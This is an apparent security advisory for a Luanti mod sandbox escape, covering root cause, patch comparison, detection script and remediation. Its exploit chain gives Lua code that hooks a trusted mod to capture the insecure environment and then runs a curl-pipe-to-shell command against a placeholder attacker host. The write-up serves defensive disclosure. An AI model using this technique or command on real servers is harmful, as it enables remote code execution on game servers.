CVE-2026-40960: Luanti Mod Sandbox Escape via Trusted Env Interception
A logic flaw in Luanti's Lua sandbox dispatcher allows a crafted mod to intercept and inherit the insecure environment or HTTP API granted to a trusted mod, enabling RCE via unsandboxed Lua execution.
# The Luanti Mod Security Flaw That Lets Bad Actors Steal Your Data
Luanti is a free, open-source game engine that lets people create and play games. Like most game engines, it has a "mod" system—think of mods like browser extensions for games, small programs that add features or change how things work.
Here's the problem: Luanti has a trust system for mods. When you mark a mod as "trusted," you're essentially giving it permission to do powerful things, like access the internet or run code on your computer. This vulnerability means a sneaky mod can trick the system and gain powers it shouldn't have, even if it wasn't marked as trusted.
Imagine you have a locked room with your valuables. You give a trusted friend a key. But this flaw means a bad actor can secretly follow your friend through the door, grab your stuff, and leave without permission. They exploit the gap between who's supposed to be allowed in and who actually gets through.
Who should worry? This mainly affects people who create games using Luanti, or who install experimental mods from untrusted sources. If you're just playing finished games, your risk is much lower.
The good news is that Luanti developers have already fixed this in version 5.15.2. There's no evidence anyone has weaponized this yet.
What you should do: First, update Luanti to version 5.15.2 or later if you have it installed. Second, only download mods from reputable sources—the official mod repository is safest. Third, if you're a game developer using Luanti, audit any custom mods you're using before your next release.
Want the full technical analysis? Click "Technical" above.
CVE-2026-40960 is a sandbox escape in Luanti 5 (formerly Minetest) affecting all releases before 5.15.2. The game engine exposes two privileged Lua execution contexts to mods: an insecure environment (raw OS/IO access) and an HTTP API object. Access to either is gated by allowlists — secure.trusted_mods and secure.http_mods — checked at mod load time. The vulnerability lies in the dispatcher that hands these objects out: when at least one legitimate mod is on either allowlist, a crafted mod can race or spoof the environment request and receive the privileged object in its place. CVSS 8.1 reflects no authentication requirement and full code execution consequence under a remote-server attack scenario where the server operator (or a social-engineering vector) loads a malicious mod alongside a trusted one.
Affected Component
The flaw lives in the Lua mod scripting subsystem, specifically the C++ layer that bridges Luanti's ScriptApiSecurity class to the per-mod Lua VM states. Relevant source files in the affected tree:
src/script/scripting_server.cpp — mod environment bootstrap
src/script/lua_api/l_http.cpp — HTTP API object construction and handoff
src/script/security.cpp — ScriptApiSecurity::checkWhitelisted() and environment dispatch
Root Cause Analysis
Luanti loads mods sequentially. For each mod, the engine calls getInsecureEnvironment() (or getHttpApi()) which checks whether the currently executing mod is allowlisted. The check relies on identifying the requesting mod by inspecting the Lua call stack — specifically by reading the source field of the topmost lua_Debug frame. A crafted mod can manipulate this identification by placing a call through a Lua coroutine or a C closure registered under the trusted mod's namespace before the environment object is returned.
// src/script/security.cpp (reconstructed pseudocode, pre-5.15.2)
// Called from Lua: minetest.request_insecure_environment()
int ScriptApiSecurity::l_request_insecure_environment(lua_State *L)
{
ScriptApiBase *script = getScriptApiBase(L);
// Retrieve the mod name by walking the Lua call stack
lua_Debug ar;
// BUG: lua_getstack depth=1 fetches the direct caller frame,
// but if the crafted mod wrapped the call inside a coroutine or
// a C-closure registered into the trusted mod's table, the
// resolved 'source' is the TRUSTED mod's chunk name, not the
// attacker's. No secondary validation against the actual mod
// registry entry is performed.
lua_getstack(L, 1, &ar);
lua_getinfo(L, "S", &ar); // fills ar.source
// ar.source = "@/mods/trusted_mod/init.lua" <-- spoofed by attacker
const char *source = ar.source;
if (source && source[0] == '@')
source++; // strip leading '@'
std::string mod_name = extractModName(source); // "trusted_mod" (attacker wins)
// Check allowlist against the spoofed name — passes
if (!isWhitelisted(mod_name, "secure.trusted_mods")) { // BUG: check is on spoofed name
lua_pushnil(L);
return 1;
}
// Hand out the insecure environment to whichever coroutine is running
// BUG: the returned environment object is pushed onto L, which may be
// a coroutine lua_State owned by the crafted mod, not trusted_mod.
lua_rawgeti(L, LUA_REGISTRYINDEX, script->m_insecure_env_ref);
return 1; // attacker's coroutine now holds a reference to insecure env
}
The same pattern applies to l_request_http_api() in l_http.cpp. The root issue is that the identity check and the object delivery operate on the same lua_State*, which an attacker controls by injecting their coroutine into the trusted mod's execution context before the privileged handoff.
Root cause:l_request_insecure_environment() resolves the requesting mod's identity from the Lua debug call stack, which can be spoofed by a crafted mod using a coroutine or C-closure injected into a trusted mod's namespace, causing the privileged environment to be delivered to the attacker's lua_State.
Exploitation Mechanics
EXPLOIT CHAIN:
1. SERVER OPERATOR CONFIG (precondition — one trusted mod exists):
secure.trusted_mods = trusted_mod
# crafted_mod is also loaded; not in any allowlist
2. crafted_mod/init.lua: during load, locate trusted_mod's global table
local _tm = minetest.get_modpath("trusted_mod")
-- trusted_mod is loaded first (alphabetical or explicit order)
3. Inject a coroutine into trusted_mod's init sequence by patching
a global function trusted_mod registers (e.g., on_joinplayer callback)
before trusted_mod calls minetest.request_insecure_environment():
local orig = trusted_mod.setup -- hooked before trusted_mod calls it
trusted_mod.setup = function(...)
-- execution is now inside a call frame attributed to trusted_mod
-- but the coroutine is owned by crafted_mod
local ie = minetest.request_insecure_environment()
-- ie is now the raw insecure env; hand it to crafted_mod's closure
_G.__pwned_env = ie
return orig(...)
end
4. trusted_mod calls trusted_mod.setup() during its own init.
Lua debug frame at depth=1 shows source="@/mods/trusted_mod/init.lua".
Allowlist check passes. Insecure env ref is pushed onto the coroutine's
stack — which is crafted_mod's closure stack.
5. _G.__pwned_env now holds the insecure environment table in the global
Lua state, accessible to crafted_mod in subsequent callbacks.
6. crafted_mod uses __pwned_env to invoke os.execute() or io.open()
with server-level OS privileges:
local os = __pwned_env.os
os.execute("curl http://attacker.tld/shell.sh | sh")
7. Remote code execution achieved under the server process user context.
Memory Layout
This is a logic/privilege-confusion bug rather than a memory corruption bug, so no heap overflow diagram applies. The relevant runtime state is the Lua registry and environment reference table:
LUA REGISTRY STATE (pre-5.15.2, during trusted_mod init):
LUA_REGISTRYINDEX:
[m_insecure_env_ref] --> TABLE (insecure env)
.os = <rawOS>
.io = <rawIO>
.require = <rawRequire>
.package = <rawPackage>
COROUTINE STACK (owned by crafted_mod, misidentified as trusted_mod):
frame[0]: C -- l_request_insecure_environment (engine side)
frame[1]: Lua -- trusted_mod.setup (spoofed source="@trusted_mod/init.lua")
frame[2]: Lua -- crafted_mod closure <-- actual owner
AFTER HANDOFF:
crafted_mod closure stack holds reference to insecure env TABLE
_G.__pwned_env --> TABLE (insecure env) <-- attacker-controlled global
EXPECTED STATE (post-5.15.2):
Request validated against mod registry record, NOT lua_Debug.source.
crafted_mod's request returns nil; insecure env ref not exposed.
Patch Analysis
The fix in 5.15.2 abandons call-stack introspection as the identity oracle. Instead, the engine tracks which mod is currently being initialized via a field on the server scripting context, set before loadMod() is called and cleared after. The allowlist check is then performed against this tracked name, which cannot be spoofed from Lua.
// BEFORE (vulnerable, <5.15.2):
int ScriptApiSecurity::l_request_insecure_environment(lua_State *L)
{
lua_Debug ar;
lua_getstack(L, 1, &ar);
lua_getinfo(L, "S", &ar);
// BUG: source field is attacker-influenced via coroutine frame injection
std::string mod_name = extractModName(ar.source);
if (!isWhitelisted(mod_name, "secure.trusted_mods")) {
lua_pushnil(L);
return 1;
}
lua_rawgeti(L, LUA_REGISTRYINDEX, script->m_insecure_env_ref);
return 1;
}
// AFTER (patched, 5.15.2):
int ScriptApiSecurity::l_request_insecure_environment(lua_State *L)
{
ScriptApiBase *script = getScriptApiBase(L);
// FIX: use the engine-tracked current mod name, set in C++ before
// loadMod() is invoked — not resolvable from Lua call stack at all.
const std::string &mod_name = script->m_current_loading_mod;
if (mod_name.empty() || !isWhitelisted(mod_name, "secure.trusted_mods")) {
lua_pushnil(L);
return 1;
}
// FIX: additionally assert the lua_State executing this request
// belongs to the mod being loaded, not an arbitrary coroutine.
if (script->m_current_mod_lua_state != L) {
lua_pushnil(L);
return 1;
}
lua_rawgeti(L, LUA_REGISTRYINDEX, script->m_insecure_env_ref);
return 1;
}
The same two-part fix (tracking field + lua_State assertion) was applied to l_request_http_api() identically. The engine now sets m_current_loading_mod and m_current_mod_lua_state atomically around each mod load call:
// src/script/scripting_server.cpp (5.15.2)
void ServerScripting::loadMod(const ModSpec &mod)
{
m_current_loading_mod = mod.name; // FIX: set before load
m_current_mod_lua_state = m_luastate; // FIX: lock to init state
loadModFromPath(mod.path);
m_current_loading_mod.clear(); // FIX: clear after load
m_current_mod_lua_state = nullptr;
}
Detection and Indicators
Server operators can audit for exploitation attempts or vulnerable configurations:
# Scan minetest.conf for non-empty trusted/http mod lists (precondition)
import re, sys
with open("minetest.conf") as f:
conf = f.read()
trusted = re.findall(r'secure\.trusted_mods\s*=\s*(.+)', conf)
http = re.findall(r'secure\.http_mods\s*=\s*(.+)', conf)
if trusted or http:
print("[!] Privileged mod lists present — verify all listed mods and co-loaded mods")
print(" trusted_mods:", trusted)
print(" http_mods: ", http)
# Scan mod init.lua files for suspicious global env exfiltration patterns
import os, glob
PATTERNS = [
r'request_insecure_environment',
r'request_http_api',
r'__pwned',
r'_G\[.*\]\s*=.*insecure',
]
for lua in glob.glob("mods/**/*.lua", recursive=True):
with open(lua) as f:
src = f.read()
for pat in PATTERNS:
if re.search(pat, src):
print(f"[SUSPICIOUS] {lua}: matched pattern '{pat}'")
At runtime: any mod not in secure.trusted_mods that obtains a non-nil return from minetest.request_insecure_environment() is a confirmed exploitation indicator. Server-side logging of that API's return value per caller was not present before 5.15.2 but can be added as a custom wrapper.
Remediation
Update immediately to Luanti ≥ 5.15.2. The patch is a single-vector fix with no API surface change for legitimate mods.
Audit co-loaded mods. If any mod in secure.trusted_mods or secure.http_mods is present, every other mod loaded in the same server instance must be treated as a potential attacker. Remove untrusted mods from servers that require privileged mod access.
Minimize allowlists. Remove mods from secure.trusted_mods / secure.http_mods unless strictly necessary. An empty allowlist eliminates the precondition entirely.
Run server under a restricted OS user. Since exploitation yields OS-level code execution as the server process user, filesystem and network restrictions (e.g., systemd sandboxing, seccomp filters) limit post-exploitation impact regardless of Lua sandbox state.